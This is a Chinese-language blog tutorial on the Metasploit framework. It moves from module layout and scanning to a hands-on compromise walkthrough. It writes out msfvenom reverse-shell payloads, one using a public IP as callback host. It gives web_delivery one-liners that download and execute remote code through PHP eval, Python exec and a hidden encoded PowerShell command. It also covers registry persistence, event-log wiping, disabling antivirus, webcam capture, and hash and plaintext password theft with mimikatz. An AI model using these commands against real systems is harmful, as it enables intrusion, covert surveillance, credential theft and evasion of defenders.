metasploit介绍及使用

  • Post author:
  • Post category:其他


The Metasploit Framework的简称。MSF高度模块化,即框架由多个module组成,是全球最受欢迎的工具。

是一款开源安全漏洞利用和测试工具,集成了各种平台上常见的溢出漏洞和流行的shellcode,并持续保持更新。

metasploit涵盖了渗透测试中全过程,你可以在这个框架下利用现有的Payload进行一系列的渗透测试。

目录

kali-metasploit框架目录路径:

/opt/metasploit-framework/embedded/framework/

/usr/share/metasploit-framework/
在这里插入图片描述

kali-metasploit更新:

msfconsole-v #查看版本

apt-getupdate

apt-getinstallmetasploit-framework

data:包含metasploit用于存储某些漏洞、单词列表、图像等所需二进制文件的可编辑文件。

documentation:包含框架的可用文档。

lib:metasploit的库文件夹。

plugins:用来存放metasploit的插件。

scripts:用来存放metasploit的脚本,包括meterpreter及其它脚本。

tools:存放多种的命令行实用程序。

modules:存储metasploit的模块文件。

modules目录

auxiliary:辅助模块,辅助渗透(端口扫描、登录密码爆破、漏洞验证等)

exploits:漏洞利用模块,包含主流的漏洞利用脚本,通常是对某些可能存在漏洞的目标进行漏洞利用。命名规则:

操作系统/各种应用协议分类

payloads:攻击载荷,主要是攻击成功后在目标机器执行的代码,比如反弹shell的代码

post:后渗透阶段模块,漏洞利用成功获得meterpreter之后,向目标发送的一些功能性指令,如:提权等

encoders:编码器模块,主要包含各种编码工具,对payload进行编码加密,以便绕过入侵检测和过滤系统

evasion:躲避模块,用来生成免杀payload

nops:由于IDS/IPS会检查数据包中不规则的数据,在某些情况下,比如针对溢出攻击,某些特殊滑行字符串(NOPSx90x90…)则会因为被拦截而导致攻击失效

在这里插入图片描述



进入metasploit



msfdbinit:初始化数据库

msfconsole:启动

db_status:查看是否成功连接到数据库

workspace:当前工作区

workspace-h:帮助命令



内网主机发现



db_nmap:nmap扫描

-PA:TCPACKPING扫描

-PS:TCPSYNPING扫描

-PR:ARP扫描是nmap对目标进行一个arp ping扫描的过程,尤其在内网的情况下。因为防火墙不会禁止ARP请求。

hosts:当前工作区所有主机



端口、服务、版本探测



db_nmap:nmap扫描

-T[0-5]:默认为T3,T4表示最大TCP扫描延迟为10ms

-sS:TCPSYN扫描

-sA:TCPACK扫描

-sT:TCP扫描

-A:打开操作系统探测和版本探测。



信息收集



db_nmap:nmap扫描

–script=vuln:检查是否具有常见漏洞

auxiliary/scanner:

msf>useauxiliary/scanner/portscan/syn

msf>setrhosts192.168.123.129

msf>exploit

msf>useauxiliary/scanner/discovery/arp_sweep

msf>setrhosts192.168.123.0/24

msf>setthreads20

msf>run
在这里插入图片描述



msf带你拿下对方电脑



search:搜索msf中相关组件

search platform:windowscve:2009 type:exploit

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

background:将当前session挂起

sessions[-l]:列出当前所有的session

sessions[-i] id:进入某个session

在这里插入图片描述

在这里插入图片描述

showexploits– 查看所有可用的渗透攻击程序代码

showauxiliary – 查看所有可用的辅助攻击工具

[show]options/advanced– 查看该模块可用选项

showpayloads– 查看该模块适用的所有载荷代码

showtargets– 查看该模块适用的攻击目标类型

search– 根据关键字搜索某模块

info– 显示某模块的详细信息

use– 使用某渗透攻击模块

back– 回退

set/unset– 设置/禁用模块中的某个参数

setg/unsetg– 设置/禁用适用于所有模块的全局参数

save– 将当前设置值保存下来,以便下次启动MSF终端时仍可使用



由shell转meterpreter



sessions-uid:将某个session转为meterpreter
在这里插入图片描述

在这里插入图片描述

webcam_list:查看摄像头

webcam_snap:通过摄像头拍照

webcam_stream:通过摄像头开启视频
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述



meterpreter利用-执行&上传下载文件



execute:在目标机器执行文件

创建新进程cmd.exe,-H不可见,-i交互
在这里插入图片描述

upload:上传文件
在这里插入图片描述



meterpreter常用命令



meterpreter> background 放回后台

meterpreter> exit 关闭会话

meterpreter> help 帮助信息

meterpreter> sysinfo系统平台信息

meterpreter> screenshot 屏幕截取

meterpreter> shell 命令行shell (exit退出)

meterpreter>getlwd 查看本地目录

meterpreter> lcd 切换本地目录

meterpreter>getwd 查看目录

meterpreter> ls查看文件目录列表

meterpreter> cd 切换目录

meterpreter> rm 删除文件

meterpreter> downloadC:\1.txt1.txt下载文件

meterpreter > upload /var/www/wce.exe wce.exe 上传

文件

meterpreter> search-dc: -f *.doc 搜索文件

meterpreter> execute-f cmd.exe-i 执行程序/命令

meterpreter> ps 查看进程

meterpreter>getuid 查看当前用户权限

meterpreter> runkillav 关闭杀毒软件

meterpreter> rungetgui-e 启用远程桌面

meterpreter >portfwdadd-l 1234-p3389-r <目标IP>

端口转发



msfvenom基本参数



-p:–payload,指定特定的 Payload,如果被设置为-,那么从标准输入流中读取。几乎支持全平台。 指定操作系统

-l:–list,列出所有可用的项目,其中值可以被设置为 payloads, encoders, nops, all

-n:–nopsled,指定 nop在 payload中的数量

-f:–format,指定 Payload的输出格式(–listformats:列出所有可用的输出格式) php exe

-e:–encoder,指定使用编码的encoder

-a:–arch,指定目标系统架构 arm-安卓 x86 mips工业系统-路由器-交换机

–platform:指定目标系统平台 linus windows ios 安卓

-s:–space,设置未经编码的 Payload的最大长度(–encoder-space:编码后的 Payload的最大长度)

-b:–bad-chars,设置需要在 Payload中避免出现的字符,例如:’\0f’、’\x00’等

-i:–iterations,设置 Payload的编码次数

–smallest:尽可能生成最短的 Payload

-o:–out,保存 Payload到文件

-c:–add-code,指定一个附加的win32 shellcode文件

-x:–template,指定一个特定的可执行文件作为模板

-k:–keep,保护模板程序的功能,注入的payload作为一个新的进程运行

linux:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f elf > shell.elf

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=1114 -f exe> zyl6414.exe

msfvenom -p linux/x86/meterpreter/bind_tcp LPORT=1113 -f elf > zyl6413.elf

msfvenom -p linux/x64/shell_bind_tcp LPORT=1113 -f elf > zylshell6413.elf

set proxies socks5:47.115.190.86:10088

windows:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=47.115.190.86 LPORT=8888 -f exe> 3288.exe

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=47.115.190.86 LPORT=1112 -f exe> 6412.exe

mac:

msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f macho > shell.macho

msfvenom实例

msfvenom生成payload

msfvenom -p windows/meterpreter/reverse_http lhost=192.168.231.134 lport=10000 -f exe > /home/kali/shell.exe

上传wshell.exe文件并运行

msf5 > use exploit/multi/handler

msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_http

msf5 exploit(multi/handler) > set lhost 192.168.231.134

msf5 exploit(multi/handler) > set lport 10000

msf5 exploit(multi/handler) > run

获得meterpreter

其他payload

php:

msfvenom -p php/meterpreter_reverse_tcp lhost=192.168.24.146 lport=5555 -f raw -o /root/Desktop/shell_.php

asp:

msfvenom-a x86 –platform windows -p windows/meterpreter/reverse_tcpLHOST=10.211.55.2 LPORT=3333 -f aspx -o shell.aspx

jsp:

msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp

war:

msfvenom-p java/jsp_shell_reverse_tcpLHOST= LPORT= -f war >shell.war

python

msfvenom -p python/meterpreter/reverse_tcp lhost=192.168.24.146 lport=5447 -f raw -o pythonshell.py

msf5 exploit(multi/handler) > advanced

//经常遇到假session或者刚连接就断开,可以在接收到session后,继续监听端口,保持job存活

msf5 exploit(multi/handler) > set ExitOnSessionfalse

//默认情况下,如果一个会话将在5分钟(300秒)没有任何活动,那么它会被杀死,为防止此情况可将此项修改为0

msf5 exploit(multi/handler) > set SessionCommunicationTimeout0

//默认情况下,一个星期(604800秒)后,会话将被强制关闭,修改为0可永久不会被关

msf5 exploit(multi/handler) > set SessionExpirationTimeout0

//后台持续监听,-j表示后台任务,-z表示成功后不主动发送stage,使用jobs命令查看和管理后台任务。jobs -K结束所

有任务

msf5 exploit(multi/handler) > exploit -j -z

//快捷建立监听的方式:

msf5 > handler -H 192.168.24.146 -P 5449 -p windows/meterpreter/reverse_tcp

[

] Payload handler running as background job 1.

[

] Started reverse TCP handler on 192.168.24.146:5449

Exploit targets:

Id Name


0 Python

1 PHP

2 PSH powershell

3 Regsvr32 windows

4 pubprn VB语言

5 PSH (Binary) 二进制powershell

6 Linux

7 Mac OS X

攻击实例

命令行

msf5 > use exploit/multi/script/web_delivery

msf5 exploit(multi/script/web_delivery) > set uripath/

msf5 exploit(multi/script/web_delivery) > set payload php/meterpreter/reverse_tcp

msf5 exploit(multi/script/web_delivery) > set target 1

msf5 exploit(multi/script/web_delivery) > set lhost192.168.24.147

msf5 exploit(multi/script/web_delivery) > run

[

] Exploit running as background job 0.

[

] Exploit completed, but no session was created.

[

] Started reverse TCP handler on 192.168.24.147:4444

[

] Using URL: http://0.0.0.0:8080/

[

] Local IP: http://192.168.24.147:8080/

[

] Server started.

[*] Run the following command on the target machine:

payload

php -d allow_url_fopen=true -r “eval(file_get_contents(‘http://192.168.24.147:8080/’,false,stream_context_create([‘ssl’=>[‘verify_peer’=>false,‘verify_peer_name’=>false]])));”



msf5 exploit(multi/script/web_delivery) > set payload python/meterpreter/reverse_tcp

msf5 exploit(multi/script/web_delivery) > set target 0

msf5 exploit(multi/script/web_delivery) > set lport 4554

msf5 exploit(multi/script/web_delivery) > run

[

] Exploit running as background job 3.

[

] Exploit completed, but no session was created.

[

] Started reverse TCP handler on 192.168.24.147:4554

[

] Using URL: http://0.0.0.0:8080/

[

] Local IP: http://192.168.24.147:8080/

[

] Server started.

[

] Run the following command on the target machine:

python -c “import sys;import

ssl;u=

import

(‘urllib’+{2:’’,3:’.request’}[sys.version_info[0]],fromlist=(‘urlopen’,));r=u.urlopen(‘http://192.168.

24.147:8080/’, context=ssl._create_unverified_context());exec(r.read());”

[

] 192.168.24.142 web_delivery -Delivering Payload (437 bytes)

[

] Sending stage (53755 bytes) to 192.168.24.142

[

] Meterpreter session 3 opened (192.168.24.147:4554 -> 192.168.24.142:49431)

msf5 exploit(multi/script/web_delivery) > sessions

3 meterpreter python/windows source-PC\source @ source-PC 192.168.24.147:4557 ->

192.168.24.142:49309

msf5 exploit(multi/script/web_delivery) > set target 2

msf5 exploit(multi/script/web_delivery) > set payload windows/meterpreter/reverse_tcp

msf5 exploit(multi/script/web_delivery) > set lport 4554

msf5 exploit(multi/script/web_delivery) > run

[

] Exploit running as background job 2.

[

] Exploit completed, but no session was created.

[

] Started reverse TCP handler on 192.168.24.147:4554

[

] Using URL: http://0.0.0.0:8080/ZLkMQ79D

[

] Local IP: http://192.168.24.147:8080/ZLkMQ79D

[

] Server started.

[*] Run the following command on the target machine:

powershell.exe -nop -w hidden -e

WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGM

AdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8A…………AnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuAD

IANAAuADEANAA3ADoAOAAwADgAMAAvAFoATABrAE0AUQA3ADkARAAnACkAKQA7AA==

msf5 exploit(multi/script/web_delivery) > use exploit/multi/handler

msf5 exploit(multi/handler) > show options

msf5 exploit(multi/handler) > set payload windows/meterpreter_reverse_tcp

payload => windows/meterpreter_reverse_tcp

msf5 exploit(multi/handler) > show options

msf5 exploit(multi/handler) > set lhost 192.168.123.128

lhost => 192.168.123.128

msf5 exploit(multi/handler) > set lport 6666

lport => 6666

msf5 exploit(multi/handler) > run

[

] Started reverse TCP handler on 192.168.123.128:6666

[

] Meterpreter session 3 opened (192.168.123.128:6666 -> 192.168.123.129:49345) at 2020-09-17 18:18:45

+0800



植入后门–转移pid

meterpreter > getpid

Current pid: 2728

meterpreter > ps

Process List

PID PPID Name Arch User Path


0 0 [System Process] x64

4 0 System x64



1116 884 phpStudy.exe x86 source-PC\source C:\phpStudy\phpStudy.exe



2728 5088 python.exe x64 source-PC\source C:\Python27\python.exe



meterpreter > migrate 1116

[-] Error running command migrate: NoMethodError undefined method `pid’ for nil:NilClass

植入后门–注册机开机启动

meterpreter > background

[

] Backgrounding session 12…

msf5 exploit(multi/script/web_delivery) > use exploit/windows/local/registry_persistence

msf5 exploit(windows/local/registry_persistence) > set session 12

msf5 exploit(windows/local/registry_persistence) > run

[

] Generating payload blob…

[+] Generated payload, 6048 bytes

[

] Root path is HKCU

[

] Installing payload blob…

[+] Created registry key HKCU\Software\6fZb03XF

[+] Installed payload blob to HKCU\Software\6fZb03XF\d4PlA0pl

[

] Installing run key

[+] Installed run key HKCU\Software\Microsoft\Windows\CurrentVersion\Run\4M6sZW9V

[

] Clean up Meterpreter RC file:

/root/.msf4/logs/persistence/192.168.24.142_20200527.0946/192.168.24.142_20200527.0946.rc

清除痕迹

meterpreter > clearev

[

] Wiping 3184 records from Application…

[

] Wiping 0 records from System…

[*] Wiping 0 records from Security…

meterpreter >

MSF信息收集

run scraper

/root/.msf4/logs/scripts/scraper

run winenum

/root/.msf4/logs/scripts/winenum

后渗透

meterpreter获取hash

• Hashdump

use post/windows/gather/hashdump //system权限的meterpreter

set session 1

exploit //结果保存在tmp目录下

use post/windows/gather/smart_hashdump

set session 1

exploit

• Mimikatz

Hashdump使用的是mimikatz的部分功能

Load mimikatz

获取用户密码的hash值

wdigest 、kerberos 、msv 、ssp 、tspkg 、livessp

mimikatz_command -h

mimikatz_command -f :: //查询有哪些模块

mimikatz_command -f samdump::hashes //从windows的sam文件中读取密码hash值

mimikatz_command -f sekurlsa::searchPasswords //获取明文密码

mimikatz_command -f samdump::bootkey



版权声明:本文为weixin_43873557原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。